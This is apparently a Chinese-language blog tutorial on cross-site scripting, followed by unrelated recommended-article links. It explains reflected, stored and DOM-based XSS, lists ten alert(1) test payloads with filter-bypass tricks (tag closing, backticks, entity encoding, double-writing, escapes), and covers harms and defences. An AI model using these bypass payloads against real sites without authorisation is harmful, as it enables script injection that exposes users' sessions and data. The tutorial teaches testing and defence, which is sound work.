常见漏洞之XSS

一、XSS简介

XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的网络攻击方式,通过在网页中注入恶意脚本,当其他用户浏览这些网页时,这些嵌入的恶意脚本会在其浏览器上执行,从而进行各种恶意操作

二、XSS的原理和类型

  1. 原理:XSS攻击的基本思想是利用Web应用程序对用户输入的安全检查不足,将恶意代码注入到Web页面中。当其他用户浏览这些被篡改的页面时,恶意脚本就会在他们浏览器上执行。
  2. 反射型XSS:这种类型的XSS是通过将恶意脚本附加到URL参数中实现的。当用户访问这些包含恶意脚本的链接时,浏览器会执行这些脚本一次,之后不再执行。因此,它被称为非持久型XSS。
  3. 存储型XSS:这种XSS类型更为危险,因为它将恶意脚本永久存储在Web服务器上(如数据库或文件系统)。每当用户访问这些被篡改的页面时,都会加载并执行这些恶意脚本。
  4. 基于DOM的XSS:此类XSS不需要与服务器交互,而是在用户的浏览器内部通过JavaScript处理DOM(Document Object Model)时触发。攻击者通过更改DOM环境来执行恶意脚本。

三、XSS测试方式

1. div标签,常规插入

<script>alert(1)</script>

<img src="" οnerrοr=alert(1)>

2. textarea标签 闭合该后插入

</textarea><script>alert(1)</script><textarea>

</textarea><img src="" οnerrοr=alert(1)>

3.内容放在标签内,">闭合标签

"><script>alert(1)</script>

4. 过滤(),使用反单引号`

<script>alert`1`</script>

5. 过滤括号()和反单引号` 使用html实体编码来绕过

<img src="" οnerrοr=alert(1)>

6. 闭合注释符

--!><script>alert(1)</script>

7. 正则过滤auto/on开头及=结尾 > 换行绕过匹配

type="image" src="" onerror

=alert(1)

8. 换行或空格绕过正则匹配

</style ><script>alert(1)</script>

9.双写绕过

<sscriptcript>alert(1)</sscriptcript>

10. 转义符绕过

\");alert(1);//

四、XSS的危害

  1. 窃取信息:通过执行恶意脚本,攻击者可以窃取用户的Cookie、Session Tokens及其他敏感信息。
  2. 会话劫持:攻击者通过窃取Cookie可以冒充用户身份,执行未经授权的操作。
  3. 网络钓鱼:攻击者可以修改页面内容,重定向用户到假冒网站,诱导用户输入敏感数据。
  4. 传播恶意软件:通过XSS漏洞,攻击者可以在用户浏览器中植入恶意软件如木马、勒索软件等。
  5. 篡改网页内容:攻击者可以通过XSS篡改网页内容,比如修改路由器配置信息、繁殖XSS蠕虫等。

五、XSS的防御措施

  • 输入过滤:对用户提交的所有数据进行严格的验证和过滤,屏蔽掉可能导致XSS攻击的内容。
  • 输出转义:在服务器端输出用户提交的数据前,应对其做适当的转义处理,确保特殊字符不会被解析为脚本标签。
  • 使用CSP:通过设置HTTP的Content Security Policy响应头,限制哪些资源可以被加载和执行,有效防止恶意脚本注入。
  • HttpOnly Cookie:设置Cookie的HttpOnly属性,防止JavaScript读取Cookie,降低信息被盗用的风险。
  • 渗透测试:对Web应用程序定期进行渗透测试,发现并修补潜在的XSS漏洞
相关推荐
进击的尘埃几秒前
Signals 跨框架收敛:TC39 提案、Solid、Angular、Preact 的实现差异与调度策略对比
javascript
RisunJan1 分钟前
Linux命令-md5sum(计算和校验文件报文摘要的工具程序)
linux·运维
程序员陆业聪2 分钟前
工程师的瓶颈,已经不是代码了
前端
抹茶咖啡6 分钟前
IT运维的365天--042 骚操作之--用IPSec给远程桌面上把锁
运维·网络·it运维
C羊驼7 分钟前
C语言:随机数
c语言·开发语言·经验分享·笔记·算法
fengfuyao98516 分钟前
CH552多功能音量调节旋钮设计与实现
c语言·开发语言
毛骗导演18 分钟前
@tencent-weixin/openclaw-weixin 源码ContextToken 持久化改造:实现微信自定义消息发送能力
前端·架构
爱丽_18 分钟前
Pinia 状态管理:模块化、持久化与“权限联动”落地
java·前端·spring
王琦031820 分钟前
第三章 linux文件类型和根目录结构
linux·运维·服务器
xushichao198922 分钟前
实时数据压缩库
开发语言·c++·算法